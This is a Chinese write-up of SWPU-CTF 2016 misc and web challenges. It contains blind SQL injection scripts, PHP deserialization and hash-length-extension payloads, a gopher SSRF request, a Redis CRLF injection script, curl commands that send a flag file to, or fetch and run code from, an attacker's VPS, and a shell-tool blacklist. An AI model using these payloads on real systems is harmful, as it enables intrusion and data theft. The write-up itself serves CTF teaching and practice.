swpu-ctf 2016 writeup(misc+web)
前言:首先很感谢各位师傅的支持和参与,也向师傅们学习到了很多新知识,希望明年比赛越办越好,有更多的师傅们来交流学习。^_^
misc150
这道题主要考的是wireshark文件提取和RGB图片还原。总的来说是比较简单的。
打开wireshark数据包,提取http数据,得到一个flag.zip,
解压得到一个ce.txt文件,打开发现是一个rgb图片的像素点,首先把文件的行数进行质因数分解,然后用脚本还原即可,脚本如下:
from PIL import Image import re if __name__ == '__main__': x = 887 y = 111 i = 0 j = 0 c = Image.new("RGB", (x,y)) file_object = open('ce.txt') for i in range(0, x): for j in range(0, y): line = file_object.next() lst = line.split(",") c.putpixel((i, j), (int(lst[0]), int(lst[1]), int(lst[2]))) c.show() c.save("c.png")
misc100
jsfuck和brianfuck,直接解出即可。
misc100-2
简单的加解密,把图片用winhex打开看到底部的密文,
Base32解密得到又一串密文:vbkq{ukCkS_vrduztucCVQXVuvzuckrvtZDUBTGYSkvcktv}
这个很像是凯撒加密,不过奇数和偶数位的移位方向相反。偏移量16,解密脚本如下:
str = "vbkq{ukCkS_vrduztucCVQXVuvzuckrvtZDUBTGYSkvcktv}" for i in range(26): key = '' for x in str: s = ord(x) if (s not in range(97,123)) and (s not in range(65,91)): key = key + chr(s) else: #print chr(s) if s in range(97,123): if s % 2 == 0: s = s - i if s not in range(97,123): t = 97-s t = 123-t key = key + chr(t) else: key = key + chr(s) else: s = s + i if s not in range(97,123): t = s-122+96 key = key + chr(t) else: key = key + chr(s) else: #print chr(s) if s % 2 == 0: s = s - i if s not in range(65,91): t = 65-s t = 91-t key = key + chr(t) else: key = key + chr(s) else: s = s + i if s not in range(65,91): t = s-90+64 key = key + chr(t) else: key = key + chr(s) print key
web200-1
注入,过滤了很多东西。
function sql_clean($str){ var_dump($str); if(is_array($str)){ echo "<script> alert('not array!!@_@');parent.location.href='index.php'; </script>";exit; } $filter = "/ |\*|#|,|union|like|regexp|for|and|or|file|--|\||`|&|".urlencode('%09')."|".urldecode("%0a")."|".urldecode("%0b")."|".urldecode('%0c')."|".urldecode('%0d')."/i"; if(preg_match($filter,$str)){ echo "<script> alert('illegal character!!@_@');parent.location.href='index.php'; </script>";exit; }else if(strrpos($str,urldecode("%00"))){ echo "<script> alert('illegal character!!@_@');parent.location.href='index.php'; </script>";exit; } return $this->str=$str; } function ord_clean($ord){ $filter = " |bash|perl|nc|java|php|>|>>|wget|ftp|python|sh"; if (preg_match("/".$filter."/i",$ord) == 1){ return $this->order = ""; } return $this->order = $ord; }
这里可以用操作符将注入语句串起来,
mysql操作符参考:http://blog.csdn.net/yuzongtao/article/details/45044963
给出几个可用的poc:
uname='!=!!(ascii(mid((passwd)from(1)))=99)!=!!'1&passwd=dddd uname=12'%(ascii(mid((passwd)from(1)))=99)%'1&passwd=dddd uname=12'%(ascii(mid((passwd)from(1)))=99)^'1&passwd=dddd uname=12'-(length(trim(leading%a0'c12'%a0from%a0passwd))<32)-'0&passwd=1
注入脚本:
import requests import re def exp(i,j): url = "http://web1.08067.me/login.php" data = {'uname':'\'!=!!(ascii(mid((passwd)from('+str(i)+')))='+str(ord(j))+')!=!!\'1','passwd':'ss'} #print data res = requests.post(url,data = data) #print(res.text, '\n{}\n'.format('*'*79), res.encoding) r = re.search("user",res.text) if r: return 1 else: return 0 if __name__ == '__main__': payloads = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ`~!@#$%^&*()_+1234567890-=[]{};':\"\\|,./<>?" pwd = '' #print exp(1,'a') for i in range(1,40): for x in payloads: res = exp(i,x) if (res == 1): pwd = pwd + x print pwd break else: pass print pwd
注入出密码登陆后台,需要执行命令获取flag,本意是通过日志的形式,去获取flag的值,结果师傅们直接简单粗暴的getshell,学习了。
先说说通过日志形式获取内容回显,将需要执行的命令用``包裹,或者$()包裹也行。
命令:curl$IFS\vps:1234/`cat$IFS\../../flag`
注:个人概括师傅们getshell的两种方法:
1)通过管道符"|":
将黑名单限制的关键字用变量分割,如:a=py;b=thon;curl${IFS}http://xxx/xxx.py|$($a$b),即可执行远程py文件
2)通过curl -O 选项:
curl -O 可以直接把远程文件保存到本地,简单便捷
web200-2
源码泄露,index.php.bak
if (isset($_COOKIE['user'])) { $login = @unserialize(base64_decode($_COOKIE['user'])); if (!empty($login->pass)) { $status = $login->check_login(); if ($status == 1) { $_SESSION['login'] = 1; var_dump("login by cookie!!!"); } } }
function.php.bak
<?php
class help {
static function CheckSql($db_string, $querytype = 'select') {
$clean = '';
$error = '';
$old_pos = 0;
$pos = -1;
if ($querytype == 'select') {
$notallow1 = "[^0-9a-z@\._-]{1,}(load_file|outfile)[^0-9a-z@\.-]{1,}";
if (preg_match("/" . $notallow1 . "/i", $db_string)) {
exit("Error");
}
}
while (TRUE) {
$pos = strpos($db_string, '\'', $pos + 1);
if ($pos === FALSE) {
break;
}
$clean .= substr($db_string, $old_pos, $pos - $old_pos);
while (TRUE) {
$pos1 = strpos($db_string, '\'', $pos + 1);
$pos2 = strpos($db_string, '\\', $pos + 1);
if ($pos1 === FALSE) {
break;
} elseif ($pos2 == FALSE || $pos2 > $pos1) {
$pos = $pos1;
break;
}
$pos = $pos2 + 1;
}
$clean .= '$s$';
$old_pos = $pos + 1;
}
$clean .= substr($db_string, $old_pos);
$clean = trim(strtolower(preg_replace(array('~\s+~s'), array(' '), $clean)));
var_dump($clean);
if (strpos($clean, '@') !== FALSE OR strpos($clean, 'char(') !== FALSE OR strpos($clean, '"') !== FALSE OR strpos($clean, '$s$$s$') !== FALSE) {
$fail = TRUE;
if (preg_match("#^create table#i", $clean)) {
$fail = FALSE;
}
$error = "unusual character";
} elseif (strpos($clean, '/*') !== FALSE || strpos($clean, '-- ') !== FALSE || strpos($clean, '#') !== FALSE) {
$fail = TRUE;
$error = "comment detect";
} elseif (strpos($clean, 'sleep') !== FALSE && preg_match('~(^|[^a-z])sleep($|[^[a-z])~is', $clean) != 0) {
$fail = TRUE;
$error = "slown down detect";
} elseif (strpos($clean, 'benchmark') !== FALSE && preg_match('~(^|[^a-z])benchmark($|[^[a-z])~is', $clean) != 0) {
$fail = TRUE;
$error = "slown down detect";
} elseif (strpos($clean, 'load_file') !== FALSE && preg_match('~(^|[^a-z])load_file($|[^[a-z])~is', $clean) != 0) {
$fail = TRUE;
$error = "file fun detect";
} elseif (strpos($clean, 'into outfile') !== FALSE && preg_match('~(^|[^a-z])into\s+outfile($|[^[a-z])~is', $clean) != 0) {
$fail = TRUE;
$error = "file fun detect";
}
if (!empty($fail)) {
exit("Error" . $error);
} else {
return $db_string;
}
}
}
class login {
var $uid = 0;
var $name = "";
var $pass = '';
public function check_login() {
//mysql_conn();
$sqls = "select * from phpinfoadmin where username='$this->name'";
$sqls = help::CheckSql($sqls);
var_dump($sqls);
//$re = mysql_query($sqls);
$results = @mysql_fetch_array($re);
//echo $sqls . $results['passwd'];
//mysql_close();
if (!empty($results)) {
if ($results['passwd'] == $this->pass) {
return 1;
} else {
return 0;
}
}
}
public function __destruct() {
$this->check_login();
}
public function __wakeup() {
$this->name = help::addslashes_deep($this->name);
$this->pass = help::addslashes_deep($this->pass);
}
}
通读文件,我们可以看到登陆的逻辑是:
unserialize(base64_decode($_COOKIE['user'])) --> login->check_login() --> help::CheckSql($sqls)
可以看到,我们传入的数据会经过help::CheckSql($sqls)的检测,这个函数引用了80sec的waf,以前在乌云看到的过这个waf的方法是用@引入变量,这个waf会把单引号内的所有内容替换为$s$,所以我们引入@`'`,就可以绕过这个waf的拦截。同样使用`'`.``.xx的形式也可以,注意的是这里的xx需要为表中存在的字段,否则会报错。
这道题还有一个点组要注意的是反序列化中wakeup()的绕过,最近的ctf比赛几乎都涉及到了这个考点,就不细说了。我博客之前有详细介绍过。
构造序列化字符串:
user =O:5:"login":4:{s:3:"uid";i:0;s:4:"name";s:40:"' and `'`.``.username or sleep(5) -- `'`";s:4:"pass";s:32:"3fde6bb0541387e4ebdadf7c2ff31123";}
user = Tzo1OiJsb2dpbiI6NDp7czozOiJ1aWQiO2k6MDtzOjQ6Im5hbWUiO3M6NDA6IicgYW5kIGAnYC5gYC51c2VybmFtZSBvciBzbGVlcCg1KSAtLSBgJ2AiO3M6NDoicGFzcyI7czozMjoiM2ZkZTZiYjA1NDEzODdlNGViZGFkZjdjMmZmMzExMjMiO30=
注入脚本:
import requests,base64,time def exp(i,a): starttime=time.time() url = "http://web3.08067.me/wakeup/index.php" data = "' and `'`.``.username or sleep(ascii(mid((select flag from flag),"+str(i)+",1))=ascii('"+a+"')) -- `'`" lens = len(data) d = 'O:5:"login":4:{s:3:"uid";i:0;s:4:"name";s:'+str(lens)+':"'+data+'";s:4:"pass";s:32:"3fde6bb0541387e4ebdadf7c2ff31123";}' user = base64.b64encode(d) cookies = {'user':user} #print cookies session = requests.Session() res = requests.get(url,cookies = cookies) #print time.time() - starttime if time.time() - starttime > 5: return 1 else: return 0 if __name__ == '__main__': #exp(1,'f') flag = '' payloads = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ`~!@#$%^&*()_+1234567890-=[]{};':\"\\|,./<>?" for i in range(1,32): for a in payloads: if exp(i,a): flag = flag + a print flag break print "flag: " + flag
这道题还有另一个解法(学习了):heavy query
当在时间盲注中时,不能使用sleep、benchmark进行延时,我们可以查询一些量比较大的数据表做笛卡尔集运算,从而达到延时的目的
参考链接:http://www.sqlinjection.net/heavy-query/
web100
考察的是文件包含的相关知识,首先通过php://filter去读源码,
upload.php
<form action="" enctype="multipart/form-data" method="post" name="upload">file:<input type="file" name="file" /><br> <input type="submit" value="upload" /></form> <?php if(!empty($_FILES["file"])) { echo $_FILE["file"]; $allowedExts = array("gif", "jpeg", "jpg", "png"); @$temp = explode(".", $_FILES["file"]["name"]); $extension = end($temp); if (((@$_FILES["file"]["type"] == "image/gif") || (@$_FILES["file"]["type"] == "image/jpeg") || (@$_FILES["file"]["type"] == "image/jpg") || (@$_FILES["file"]["type"] == "image/pjpeg") || (@$_FILES["file"]["type"] == "image/x-png") || (@$_FILES["file"]["type"] == "image/png")) && (@$_FILES["file"]["size"] < 102400) && in_array($extension, $allowedExts)) { move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $_FILES["file"]["name"]); echo "file upload successful!Save in: " . "upload/" . $_FILES["file"]["name"]; } else { echo "upload failed!"; } } ?>
include.php
<html> Tips: the parameter is file! :) <!-- upload.php --> </html> <?php @$file = $_GET["file"]; if(isset($file)) { if (preg_match('/http|data|ftp|input|%00/i', $file) || strstr($file,"..") !== FALSE || strlen($file)>=70) { echo "<p> error! </p>"; } else { include($file.'.php'); } } ?>
可以看到,在上传那里我们只能传图片,没有其他什么绕过的可能,而在include.php里面,限制了文件包含的后缀,我们可以通过zip或者phar协议,将php文件制作压缩包,将其改为图片后缀上传,在利用协议去达到包含的目的,这两个协议对于压缩包的提取方式有点不一样,一个是用%23、一个是用/。这道题只能用phar来包含
Getshell,获取flag。
web200-3
这个题是在web100的基础红说那个继续深入,提示tomcat.08067.me,flag2 have stored in root.,想到多半需要提权。这里出题者考的是tomcat本地提权,而不是利用脏牛,(脏牛很容易把服务器打死),来的tomcat页面,不能上传war包,但是我们需要的是一个有tomcat权限的shell,再来利用tomcat本地提权。怎么办呢?
在shell上翻了翻,找到了tomcat的安装目录,/var/lib/tomcat6/webapps/
直接往里面写个jsp的一句话。然后利用网上的exp进行本地提权,需要注意的是由于linux和windows的换行符的区别,需要用正则把\r\n替换成\r,不然在linux下执行命令时会出错。使用正则表达式 sed -i 's/\r$//' xxx ,即可。
发现只有在/tmp/目录下可写,写入提权脚本,然后赋执行权限,反弹一个shell到vps,直接提权。
web200-4
urllib头注入漏洞,简单测试,发现本机开放了redis服务。这个题的思路是,通过该漏洞往redis里写入键值,后面登陆处就是取的redis数据库里的键值来登录。但是这里还有个坑就是,后台有个脚本在一直删除redis里面的值,所以我们需要写个多线程脚本去一直往redis里去写值,然后在登陆就可以了。
import requests import threading def test(): while True: try: url = "http://web7.08067.me/web7/input" data = {'value': 'http://127.0.0.1%0d%0aCONFIG%20SET%20dir%20%2ftmp%0d%0aCONFIG%20SET%20dbfilename%20evil%0d%0aSET%20admin%20xx00%0d%0aSAVE%0d%0a:6379/foo'} requests.post(url, data=data) except Exception, e: pass def test2(): while True: try: url = "http://web7.08067.me/web7/admin" data = {'passworld': 'xx00'} text = requests.post(url, data=data).text if 'flag' in text: print text except: pass list = [] for i in range(10): t = threading.Thread(target=test) t.setDaemon(True) t.start() list.append(t) for i in range(10): t = threading.Thread(target=test2) t.setDaemon(True) t.start() list.append(t) for i in list: i.join()
web300
很容易发现存在ssrf漏洞,支持file协议:
根据提示flag不在本机,则多半是叫我们通过ssrf漏洞攻击其他内网主机,但我们首先要知道的是内网主机的网段,这里通过查看centos网卡配置文件来获取
扫描一下c段,发现在172.16.181.165存在一个web应用,猜测一波路径,得到正确的登陆路径
然后需要用gophar协议构造post请求包,来达到攻击目的,但是这里构造的时候需要注意几点:
1)对于:/等特殊字符需要进行url编码
2)在请求包中必须有的字段有Content-Type、Host、Content-Length等,
3)需要对整个url参数再次进行url编码,因为通过浏览器发到后端的curl函数,需要是url编码形式的
最后构造出的poc:
http://web5.08067.me/index.php?url=gopher%3A%2f%2f172.16.181.166%3A80%2f_POST%2520%2fadmin%2fwllmctf_login.php%2520HTTP%252f1.1%250d%250aHost%253A%2520127.0.0.1%250d%250aContent-Length%253a%252029%250d%250aContent-Type%253A%2520application%252fx-www-form-urlencoded%250d%250a%250d%250ausername%253Dadmin%2526password%253Dadmin
提示password错误,说明语句构造成功,但是需要通过注入登陆,可直接通过union构造语句,直接登陆。
web400
通读全篇代码,使用的是伪全局机制。整个代码只有一处感觉有注入
riji.php
if (@$_SESSION['login'] !== 1) { header('Location:/web/index.php'); exit(); } if($_SESSION['user']) { $username = $_SESSION['user']; @mysql_conn(); $sql = "select * from user where name='$username'"; $result = @mysql_fetch_array(mysql_query($sql)); mysql_close(); if($result['userid']) { $id = intval($result['userid']); } } <?php @mysql_conn(); $sql1 = "select * from msg where userid= $id order by id"; $query = mysql_query($sql1); $result1 = array(); while($temp=mysql_fetch_assoc($query)) { $result1[]=$temp; } mysql_close(); foreach($result1 as $x=>$o) { echo display($o['msg']); } ?>
可以看到,当用户登录后,保持$_SESSION存在,然后如果$result值为空,就不会进入if条件,然后$id就不会加上intval()处理,然后通过变量覆盖就可以达到注入的目的了。
那么如何让$result的值为空呢?这里有个api接口,可以删除数据库中的用户,但是需要admin权限,
<?php require_once("common.php"); session_start(); if (@$_SESSION['login'] === 1){ header('Location:/web/riji.php'); exit(); } class admin { var $name; var $check; var $data; var $method; var $userid; var $msgid; function check(){ $username = addslashes($this->name); @mysql_conn(); $sql = "select * from user where name='$username'"; $result = @mysql_fetch_array(mysql_query($sql)); mysql_close(); if(!empty($result)){ if($this->check === md5($result['salt'] . $this->data . $username)){ echo '(=-=)!!'; if($result['role'] == 1){ return 1; } else{ return 0; } } else{ return 0; } } else{ return 0; } } function do_method(){ if($this->check() === 1){ if($this->method === 'del_msg'){ $this->del_msg(); } elseif($this->method === 'del_user'){ $this->del_user(); } else{ exit(); } } } function del_msg(){ if($this->msgid) { $msg_id = intval($this->msgid); @mysql_conn(); $sql1 = "DELETE FROM msg where id='$msg_id'"; if(mysql_query($sql1)){ echo('<script>alert("Delete message success!!")</script>'); exit(); } else{ echo('<script>alert("Delete message wrong!!")</script>'); exit(); } mysql_close(); } else{ echo('<script>alert("Check Your msg_id!!")</script>'); exit(); } } function del_user(){ if($this->userid){ $user_id = intval($this->userid); if($user_id == 1){ echo('<script>alert("Admin can\'t delete!!")</script>'); exit(); } @mysql_conn(); $sql2 = "DELETE FROM user where userid='$user_id'"; if(mysql_query($sql2)){ echo('<script>alert("Delete user success!!")</script>'); exit(); } else{ echo('<script>alert("Delete user wrong!!")</script>'); exit(); } mysql_close(); } else{ echo('<script>alert("Check Your user_id!!")</script>'); exit(); } } } $a = unserialize(base64_decode($api)); $a->do_method(); ?>
那么如何获取管理员权限呢,看这句:
if($this->check === md5($result['salt'] . $this->data . $username))
可以通过hash扩展攻击来获取管理员权限。
关于hash扩展攻击参考:http://www.joychou.org/index.php/web/hash-length-extension-attack.html
还有一个问题是我们需要获取用户的userid,才能定向删除该用户。在index.php文件
if(@$login==1) { @mysql_conn(); $sql = "select * from user where name='$username'"; $result = @mysql_fetch_array(mysql_query($sql)); mysql_close(); if (!empty($result)) { if($result['passwd'] == md5($password)) { $user_cookie = ''; $user_cookie .= $result['userid']; $user_cookie .= $result['name']; $user_cookie .= $result['salt']; $cookies = base64_encode($user_cookie); //$cookies = $user_cookie; setcookie("user",$cookies,time()+60,'/web/'); $_SESSION['login'] = 1; $_SESSION['user'] = $username; header('Location:/web/riji.php'); } else { echo("<script>alert('Password Worng?')</script>"); } } else { echo("<script>alert('Username Worng?')</script>"); } }
可以看到在cookie里可以得到userid
然后就是构造我们的序列化字符串来得到管理员权限,删除用户了。
Tzo1OiJhZG1pbiI6NTp7czo0OiJuYW1lIjtzOjU6ImFkbWluIjtzOjU6ImNoZWNrIjtzOjMyOiI4ZjRkN2E1OGIxM2EzNGQzNGY4Mzg0NTk1YTNkZTVmNyI7czo0OiJkYXRhIjtzOjQ4OiKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAAAiO3M6NjoibWV0aG9kIjtzOjg6ImRlbF91c2VyIjtzOjY6InVzZXJpZCI7czoyOiI2NiI7fQ==
然后删除用户:

通过变量覆盖来注入:

浙公网安备 33010602011771号